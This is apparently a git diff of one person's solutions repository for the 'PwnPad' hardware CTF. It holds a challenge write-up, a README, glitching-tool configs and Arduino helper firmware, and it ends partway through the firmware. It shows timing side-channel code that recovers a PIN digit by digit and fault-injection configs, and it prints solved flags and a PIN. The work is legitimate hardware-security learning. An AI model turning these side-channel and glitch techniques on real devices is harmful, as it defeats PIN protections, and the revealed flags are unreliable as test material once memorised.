+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
